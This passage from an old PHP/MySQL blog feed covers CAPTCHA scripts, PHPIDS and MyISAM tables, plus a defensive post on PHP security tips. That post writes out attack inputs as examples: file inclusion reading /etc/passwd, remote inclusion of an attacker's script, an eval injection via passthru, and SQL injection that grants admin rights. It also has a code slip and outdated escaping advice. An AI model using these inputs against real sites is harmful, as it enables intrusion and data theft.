/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2116151406243795447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/top-15-drupal-problems.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2116151406243795447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2116151406243795447'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/top-15-drupal-problems.html' title='Top 15 Drupal problems'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-304722334673700218</id><published>2009-03-30T10:39:00.000-07:00</published><updated>2009-03-30T10:40:23.894-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='CAPTCHA'/><title type='text'>Top 10 Free PHP Captcha scripts</title><content type='html'>&lt;span style="font-weight:bold;"&gt;1. reCAPTCHA&lt;br /&gt;&lt;/span&gt;reCAPTCHA is a free service which helps prevent automated abuse of your site (such as comment spam or bogus registrations) by using a CAPTCHA to ensure that only humans perform certain actions.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Securimage&lt;br /&gt;&lt;/span&gt;Securimage is an open-source free PHP CAPTCHA script for generating complex images and CAPTCHA codes to protect forms from spam and abuse. It can be easily added into existing forms on your website to provide protection from spam bots. It can run on most any webserver as long as you have PHP installed, and GD support within PHP. Securimage does everything from generate complicated CAPTCHA images to making sure the code the user entered was correct.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. WebSpamProtect&lt;br /&gt;&lt;/span&gt;WebSpamProtect allows you to instantly add verification image (CAPTCHA) to your web site and protect your forms against spam robots. In order to protect your web form, this system requires that you install a small piece of code onto your web page. The code requires that your web site support PHP, Perl, ASP or ASP.NET. Basic plan is free but you can buy a Premium, Advanced or Professional paln with a little expense.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4. Cryptographp&lt;br /&gt;&lt;/span&gt;Cryptographp is a PHP script for generate captchas. Cryptographp limit the robots bombarding spams and automating the forms: spaces members subscriptions, guestbooks, forums... This script is free and does not use any database. It is compatible with PHP &gt;= 4.3.0. Cryptographp also exists into plugins for WordPress, wpMu for WordPress, Symfony and Guppy.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;5. CAPTCHA-Service&lt;br /&gt;&lt;/span&gt;captchas.net provides CAPTCHA images and audio files you can use in html-forms. To use this technology, your web pages have to be generated dynamically in any programming language PHP, ASP, Perl, Python, JSP, Ruby.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6. WP Captcha-Free&lt;br /&gt;&lt;/span&gt;WP Captcha-Free blocks comment spam by using a combination of time-based hash (a.k.a. Time Based Tokens, TBT) and JavaScript (AJAX). When a comment is posted the plugin validates a hash based on time (and some other parameters). Comments posted via automated means will not have a hash or will have an expired hash and will be rejected. Unlike using a captcha, this does not place any burden on the commenter.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;7. ProtectWebForm&lt;br /&gt;&lt;/span&gt;ProtectWebForm is a service to add CAPTCHA images and audio files on your website. You have to create an account, generate your CAPTCHA type with all the desired parameters and include it on your web pages.You can also use it on your Wordpress template with this plugin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;8. ProtectWebForm&lt;br /&gt;&lt;/span&gt;OpenCaptcha is a simple web service which requires no special configurations or modules. Basic installation is cut-and-paste, and requires no ability to program image manipuation scripts. New fonts, image algorithms, and distortions applied weekly.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;9. Form-to-email script protected by Captcha&lt;br /&gt;&lt;/span&gt;This form-to-email script is intended to collect data from an HTML form and send it to a specified email address using a CAPTCHA script to stop spam. It works with any kind of HTML form and you can use it multiple times on your pages.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;10. freeCap&lt;br /&gt;&lt;/span&gt;freeCap is a GPL CAPTCHA script to stop spam. It has been used on any form on any kind of website. It does require some knowledge of PHP to install, though there are several captcha plugins for forum and blog software listed below.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-304722334673700218?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/304722334673700218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/top-10-free-php-captcha-scripts.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/304722334673700218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/304722334673700218'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/top-10-free-php-captcha-scripts.html' title='Top 10 Free PHP Captcha scripts'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-3679093559801067005</id><published>2009-03-30T10:30:00.000-07:00</published><updated>2009-03-30T10:36:12.531-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='LAMP'/><title type='text'>Top 6 PHP Application security tips</title><content type='html'>&lt;span style="font-weight:bold;"&gt;1. Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Take the following example:&lt;br /&gt;&lt;br /&gt;if(isset($page)) &lt;br /&gt;{ &lt;br /&gt;  include($page); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Since there is no validation being done on $page, a malicious user could hypothetically call your script like this (assuming register_globals is set to ON):&lt;br /&gt;&lt;br /&gt;script.php?page=/etc/passwd&lt;br /&gt;&lt;br /&gt;Therefore causing your script to include the servers /etc/passwd file. When a non PHP file is include()'d or require()'d, it's displayed as HTML/Text, not parsed as PHP code.&lt;br /&gt;&lt;br /&gt;On many PHP installations, the include() and require() functions can include remote files. If the malicious user were to call your script like this:&lt;br /&gt;&lt;br /&gt;script.php?page=http://mysite.com/evilscript.php&lt;br /&gt;&lt;br /&gt;He would be able to have evilscript.php output any PHP code that he or she wanted your script to execute. Imagine if the user sent code to delete content from your database or even send sensitive information directly to the browser.&lt;br /&gt;&lt;br /&gt;Solution: validate the input. One method of validation would be to create a list of acceptable pages. If the input did not match any of those pages, an error could be displayed.&lt;br /&gt;&lt;br /&gt;$pages = array('index.html', 'page2.html', 'page3.html'); &lt;br /&gt;if( in_array($page, $pages) ) &lt;br /&gt;{ &lt;br /&gt;    include($page); &lt;br /&gt;{ &lt;br /&gt;else &lt;br /&gt;{ &lt;br /&gt;   die("Nice Try."); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Be careful with eval()&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Placing user-inputted values into the eval() function can be extremely dangerous. You essentially give the malicious user the ability to execute any command he or she wishes! You may envision the input coming from a drop-down menu of options you specify, but you user may decide to send input like this:&lt;br /&gt;&lt;br /&gt;script.php?input=;passthru("cat /etc/paswd");&lt;br /&gt;&lt;br /&gt;By putting his own code in that statement, the user could cause your program to output your server's complete /etc/passwd file.&lt;br /&gt;&lt;br /&gt;Use eval() sparingly, and by all means, validate the input. It should only be used when absolutely necessary -- when there is dynamically generated PHP code. If you are using it to substitute template variables into a string or substitute user-inputted values, then you are using it for the wrong reason. Try sprintf() or a template system instead.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. Be careful when using register_globals = ON&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This has been a major issue since this feature was invented. It was originally designed to make programming in PHP easier (and that it did), but misuse of it often led to security holes. As of PHP 4.2.0, register_globals is set to OFF by default. It is recommended that you use the superglobals to deal with input ($_GET, $_POST, $_COOKIE, $_SESSION, etc).&lt;br /&gt;&lt;br /&gt;For example, let us say that you had a variable that specified what page to include:&lt;br /&gt;&lt;br /&gt;include($page);&lt;br /&gt;&lt;br /&gt;but you intended $page to be defined in a config file or somewhere else in the script, and not to come as user input. In one instance you forgot to pre-define $page. If register_globals is set to ON, the malicious user can take over and define $page for you, by calling your script like this:&lt;br /&gt;&lt;br /&gt;script.php?page=http://www.example.com/evilscript.php&lt;br /&gt;&lt;br /&gt;I recommend you develop with register_globals set to OFF, and use the superglobals when accessing user input. In addition, you should always develop with full error reporting, which can be specified like this (at the top of your script):&lt;br /&gt;&lt;br /&gt;error_reporting(E_ALL);&lt;br /&gt;&lt;br /&gt;This way, you will receive a notice for every variable you try to call that was not previously defined. Yes, PHP does not require you to define variables so there may be notices that you can ignore, but this will help you to catch undefined variables that you did expect to come from input or other sources. In the previous example, when $page was referenced in the include() statement, PHP would issue a notice that $page was not defined.&lt;br /&gt;&lt;br /&gt;Whether or not you want to use register_globals is up to you, but make sure you are aware of the advantages and disadvantages of it and how to remedy the possible security holes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4. Never run unescaped queries&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;PHP has a feature, enabled by default, that automatically escapes (adds a backslash in front of) certain characters that come in from a GET, POST, or COOKIE. The single quote (') is one example of a character that is escaped automatically. This is done so that if you include input variables in your SQL queries, it will not treat single quotes as part of the query. Say your user entered $name from a form and you performed this query:&lt;br /&gt;&lt;br /&gt;UPDATE users SET Name='$name' WHERE ID=1;&lt;br /&gt;&lt;br /&gt;Normally, if they had entered $name with single quotes in them, they would be escaped, so MySQL would see this:&lt;br /&gt;&lt;br /&gt;UPDATE users SET Name='Joe\'s' WHERE ID=1&lt;br /&gt;&lt;br /&gt;so that the single quote entered into "Joe's" would not interfere with the query syntax.&lt;br /&gt;&lt;br /&gt;In some situations, you may use stripslashes() on an input variable. If you put the variable into a query, make sure to use addslashes() or mysql_escape_string() to escape the single quotes before your run the query. Imagine if an unslashed query went in, and a malicious user had entered part of a query as their name!&lt;br /&gt;&lt;br /&gt;UPDATE users SET Name='Joe',Admin='1' WHERE ID=1&lt;br /&gt;&lt;br /&gt;On the input form, the user would have entered:&lt;br /&gt;&lt;br /&gt;Joe',Admin='1&lt;br /&gt;&lt;br /&gt;As their name, and since the single quotes were not escaped, he or she would be able to actually end the name definition, place in a comma, and set another variable called Admin!&lt;br /&gt;&lt;br /&gt;The final query with input in blue would look like this:&lt;br /&gt;&lt;br /&gt;UPDATE users SET Name='Joe',Admin='1' WHERE ID=1&lt;br /&gt;&lt;br /&gt;In some configurations, magic_quotes_gpc (the feature that automatically adds slashes to all input) is actually set to OFF. You can use the function get_magic_quotes_gpc() to see if it's on or not (it returns true or false). If it returns false, simply use addslashes() to add slashes to all of the input (it is easiest if you use $_POST, $_GET, and $_COOKIE or $HTTP_POST_VARS, $HTTP_GET_VARS, and $HTTP_COOKIE_VARS, instead of globals because you could step through those arrays using a foreach() loop and add slashes to each one).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;5. For protected areas, use sessions or validate the login every time.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;There are some cases where programmers will only use some sort of login.php script to first validate their username and password (entered through a form), test if they're an administrative or valid user, and actually set a variable through a cookie, or even hide it as a hidden variable. Then in the code, they check to see if they have access like this:&lt;br /&gt;&lt;br /&gt;if($admin) &lt;br /&gt;{ &lt;br /&gt;   // let them in &lt;br /&gt;} &lt;br /&gt;else &lt;br /&gt;{ &lt;br /&gt;   // kick them out &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The above a code makes the fatal assumption that the $admin variable can only come from a cookie or input form that the malicious user has no control over. However, that is simply not the case. With register_globals enabled, injecting designed input into the $admin variable is as easy as calling the script like so:&lt;br /&gt;&lt;br /&gt;script.php?admin=1&lt;br /&gt;&lt;br /&gt;Furthermore, even if you use the superglobals $_COOKIE or $_POST, a malicious user can easily forge a cookie or create his own HTML form to post any information to your script.&lt;br /&gt;&lt;br /&gt;There are two good solutions to this problem. One is on the same track as setting an $admin variable, but this time set $admin as a session variable. In this case, it is stored on the server and is much less likely to be forged. On subsequent calls to the same script, your user's previous session information will be available on the server, and you will be able to verify if the user is an administrator like so:&lt;br /&gt;&lt;br /&gt;if( $_SESSION['admin'] )&lt;br /&gt;&lt;br /&gt;The second solution is to only store their username and password in a cookie, and with every call to the script, validate the username and password and verify if the user is an administrator. You could have two functions -- one called validate_login($username,$password) that verified the user's login information, and one called is_admin($username) that queried the database to see if that username is an administrator. The code would be placed at the top of any protected script:&lt;br /&gt;&lt;br /&gt;if( !validate_login( $_COOKIE['username'], $_COOKIE['password'] ) ) &lt;br /&gt;{ &lt;br /&gt;  echo "Sorry, invalid login"; &lt;br /&gt;  exit; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// the login is ok if we made it down here &lt;br /&gt;if( !is_admin( $_COOKIE['username'] ) ) &lt;br /&gt;{ &lt;br /&gt;   echo "Sorry, you do not have access to this section"; &lt;br /&gt;   exit; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Personally I recommend using sessions, as the latter solution is not scalable.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6. If you don't want the file contents to be seen, give the file a .php extension.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;It was common practice for awhile to name include files or library files with a .inc extension. Here's the problem: if a malicious user simply enter the .inc file into his browser, it will be displayed as plain text, not parsed as PHP. Even if the browser did not like the file type, an option to download it would most likely be given. Imagine if this file had your database login and password, or even more sensitive information.&lt;br /&gt;&lt;br /&gt;This goes for any other extension other than .php (and a few others), so even a .conf or a .cfg file would not be safe.&lt;br /&gt;&lt;br /&gt;The solution is to put a .php extension on the end of it. Since your include files or config files usually just define variables and/or functions and not really output anything, if your user were to load this, for example, into their browser:&lt;br /&gt;&lt;br /&gt;http://yoursite.com/lib.inc.php&lt;br /&gt;&lt;br /&gt;they would most likely be shown nothing at all, unless of your lib.inc.php outputs something. Either way, the file would be parsed as PHP instead of just displaying your code.&lt;br /&gt;&lt;br /&gt;There are also some reports of people adding Apache directives that will deny access to .inc files; however, I do not recommend this because of the lack of portability. If you rely on .inc files and that Apache directive to deny access to them and one day you move your scripts to another server and forget to place the Apache directive in, you are wide open.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-3679093559801067005?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/3679093559801067005/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/php-security-tips.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3679093559801067005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3679093559801067005'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/php-security-tips.html' title='Top 6 PHP Application security tips'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-3953149262143125529</id><published>2009-03-30T10:27:00.001-07:00</published><updated>2009-03-30T10:52:01.526-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>PHP Application security links</title><content type='html'>Sending emails in PHP &amp; email injection attacks:&lt;br /&gt;&lt;br /&gt;- http://phpcamp.net/toolbar/sending-emails-in-php-email-injection-attacks&lt;br /&gt;&lt;br /&gt;HTTP Authentication With PHP &amp; htpasswd&lt;br /&gt;&lt;br /&gt;- http://phpcamp.net/toolbar/http-authentication-with-php-htpasswd&lt;br /&gt;&lt;br /&gt;Speed comparison of PHP functions&lt;br /&gt;&lt;br /&gt;- http://phpcamp.net/toolbar/php-benchmark-comparision-of-functions-which-is-faster&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-3953149262143125529?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/3953149262143125529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/php-application-security-links.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3953149262143125529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3953149262143125529'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/php-application-security-links.html' title='PHP Application security links'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-5745594728406679293</id><published>2009-03-30T10:23:00.000-07:00</published><updated>2009-03-30T10:25:29.056-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>PHPIDS - Web Application security Tool</title><content type='html'>&lt;span style="font-weight:bold;"&gt;What kinds of attacks are detected by the PHPIDS&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Currently the PHPIDS detects all sorts of XSS, SQL Injection, header injection, directory traversal, RFE/LFI, DoS and LDAP attacks. Through special conversion algorithms the PHPIDS is even able to detect heavily obfuscated attacks - this covers several charsets like UTF-7, entities of all forms - such as JavaScript Unicode, decimal- and hex-entities as well as comment obfuscation, obfuscation through concatenation, shell code and many other variants.&lt;br /&gt;&lt;br /&gt;Furthermore the PHPIDS is able to detect yet unknown attack patterns with the PHPIDS Centrifuge component. This component does in depth string analysis and measurement and detects about 85% to 90% of all tested vectors given a minimum length of 25 characters.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What’s required to run the PHPIDS&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;You need at least PHP 5.1.2 to use all features of the PHPIDS. Depending on which kind of logging and caching you chose you might need a database that is able to work together with PDO. SimpleXML is required if you wish to use the XML based filter rules - if your system doesn’t provide SimpleXML you can use the fallback JSON based rules. A nice to have for the generic attack detection is Unicode support for the PCRE engine. The PHP packages shipped with current distributions should fulfill all requirements out-of-the-box.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How to install the PHPIDS?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Just download the package - unpack it in your application or include folder. For productive usage you only need the phpids-0.x/lib folder - it includes the filter rules and the PHPIDS core. By watching the examples in the phpids-0.x/docs/examples folder you should get good information on how to install the PHPIDS, perform logging and special configuring etc. You can also open this file directly in your browser when having the PHPIDS running inside a webroot. It’s configured to run out of the box.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How to use it in my application?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;You can use the following code to include the PHPIDS and have access to the result object:&lt;br /&gt;&lt;br /&gt;  set_include_path(&lt;br /&gt;   get_include_path()&lt;br /&gt;   . PATH_SEPARATOR&lt;br /&gt;   . 'path/to/phpids/lib'&lt;br /&gt;  );&lt;br /&gt;&lt;br /&gt;  require_once 'IDS/Init.php';&lt;br /&gt;  $request = array(&lt;br /&gt;      'REQUEST' =&gt; $_REQUEST,&lt;br /&gt;      'GET' =&gt; $_GET,&lt;br /&gt;      'POST' =&gt; $_POST,&lt;br /&gt;      'COOKIE' =&gt; $_COOKIE&lt;br /&gt;  );&lt;br /&gt;  $init = IDS_Init::init('IDS/Config/Config.ini');&lt;br /&gt;  $ids = new IDS_Monitor($request, $init);&lt;br /&gt;  $result = $ids-&gt;run();&lt;br /&gt;&lt;br /&gt;  if (!$result-&gt;isEmpty()) {&lt;br /&gt;   // Take a look at the result object&lt;br /&gt;   echo $result;&lt;br /&gt;  }&lt;br /&gt;Keep in mind that you might want to change the order of the arrays to merge if you don’t use the default variables_order EGPCS.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How to configure the PHPIDS&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;You can configure all important values in the Config/Config.ini. The settings should work out of the box most times but then and when you might want to tweak the paths or change the way of how the PHPIDS uses caching.&lt;br /&gt;&lt;br /&gt;As mentioned before the example.php gives great advise in hard-configuring the PHPIDS if the Config.ini won’t work for you for whatever reasons. Just check the sources.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Filter/Storage/Abstract.php wasn’t found?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;That’s a typical error when the PHPIDS is not located in the root of an include folder. You can just solve that problem with using the set_include_path() function. Point it to the folder the IDS folder is located in and everything should work fine.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How to work with the impact?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The impact indicates the severity of the attack. The PHPIDS brings around 50 filter rules to detect attacks and each one of them has an impact - the more rules match on the incoming data, the more likely it’s an attack and the higher ranks the resulting impact.&lt;br /&gt;&lt;br /&gt;The impact can be received by using the $result-&gt;getImpact() on the result object.&lt;br /&gt;&lt;br /&gt;You can store the impact as session value, if you want to track an attackers activity for some time and wish to react later - when session impact has risen to 50 or 100. A usual very first attack impact is around 5 - 10 - sometimes 15 -20. A typical XSS probing monitored by session based impact usually results in an impact of 50 - 150. So it’s pretty easy to separate the false alerts from the real attacks using session based impact.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What can be done in case the impact is very high?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;There are several ways to react on high (around 15) or very high (around 25-50) impact - first and easiest would be a hard redirect - the suspicious user could be redirected to a warning page which tells him that the application considered his input malicious and asks him to stop. Meanwhile all important parameters of the user can be logged and used for forensics. Another effective way would be to destroy the users session.&lt;br /&gt;&lt;br /&gt;Basically the PHPIDS leaves the choice on what to do up to you. If you found a smart way of defending your application in case of very high impact feel free to let other users know via our forum.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What about performance issues?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The PHPIDS is being developed under constant profiling with xdebug and performance measurements to make sure that your application will not become noticeably slower. Only request parameters are checked whose values inhabits characters besides a-Z, 0-9, @ and _.&lt;br /&gt;&lt;br /&gt;Furthermore modules like the HTML parser are only included and used in case there is input coming in with a key matching the ones given in the Config.ini / via $monitor-&gt;setHtml() for content with HTML allowed. So the performance hungry components normally won’t be loaded during about 95% of all requests.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-5745594728406679293?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/5745594728406679293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/phpids-web-application-security-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5745594728406679293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5745594728406679293'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/phpids-web-application-security-tool.html' title='PHPIDS - Web Application security Tool'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8241513439123249100</id><published>2009-03-30T10:17:00.001-07:00</published><updated>2009-03-30T10:17:37.006-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>Why should use the MyISAM table?</title><content type='html'>MyISAM is an ideal choice if you are new to MySQL, your web application is simple, has to be fast, or use full-text searches. However, it should not be used when data integrity is a priority. Possible applications could include content management systems, online bookmarking tools, RSS readers, or simple search engines.&lt;br /&gt;&lt;br /&gt;Note that you can mix table types within the same database. In practice, it may cause less developer confusion if you stick with a single table type.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8241513439123249100?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8241513439123249100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/why-should-use-myisam-table.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8241513439123249100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8241513439123249100'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/why-should-use-myisam-table.html' title='Why should use the MyISAM table?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6595412957634551122</id><published>2009-03-30T10:14:00.000-07:00</published><updated>2009-03-30T10:16:57.982-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>Pros and Cons of MySQL MyISAM Tables</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Pros:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1. Simplicity&lt;br /&gt;&lt;/span&gt;MyISAM tables are simple. If you are new to MySQL or databases in general, I would recommend you start with MyISAM tables.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Speed&lt;br /&gt;&lt;/span&gt;MySQL is fast. Really fast. Under normal conditions, benchmarks show that MyISAM tables beat every other general-purpose database and uses fewer system resources.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. Full-text searching&lt;br /&gt;&lt;/span&gt;Consider our table above. What if we need to search for keywords in both the title and the body? An easy solution is to add a fulltext index:&lt;br /&gt;&lt;br /&gt;ALTER TABLE mysqltest.articles ADD FULLTEXT alltext (title, body); &lt;br /&gt;We can now find all articles that feature the words “database” and/or “article” using:&lt;br /&gt;&lt;br /&gt;SELECT * FROM mysqltest.articles &lt;br /&gt;WHERE MATCH(title, body) AGAINST ('database article'); &lt;br /&gt;&lt;br /&gt;We can even order articles by the most relevant first to create a simple search engine:&lt;br /&gt;&lt;br /&gt;SELECT *, MATCH(title, body) AGAINST ('database article') AS rel &lt;br /&gt;FROM mysqltest.articles &lt;br /&gt;ORDER BY rel DESC; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Cons:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1. Poor data integrity&lt;br /&gt;&lt;/span&gt;MyISAM tables do not support transactions or foreign key constraints.&lt;br /&gt;&lt;br /&gt;Consider a banking application where you are transferring money. This would typically involve two SQL UPDATE statements; a debit from one account and a credit to another. If MySQL or the server failed at the wrong point, you could end up with money in both accounts or neither.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Poor crash recovery&lt;br /&gt;&lt;/span&gt;MySQL is reliable, but MyISAM tables can become corrupt following a crash. The problem can usually be fixed using REPAIR TABLE but it is an additional administrative overhead.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. Table locking&lt;br 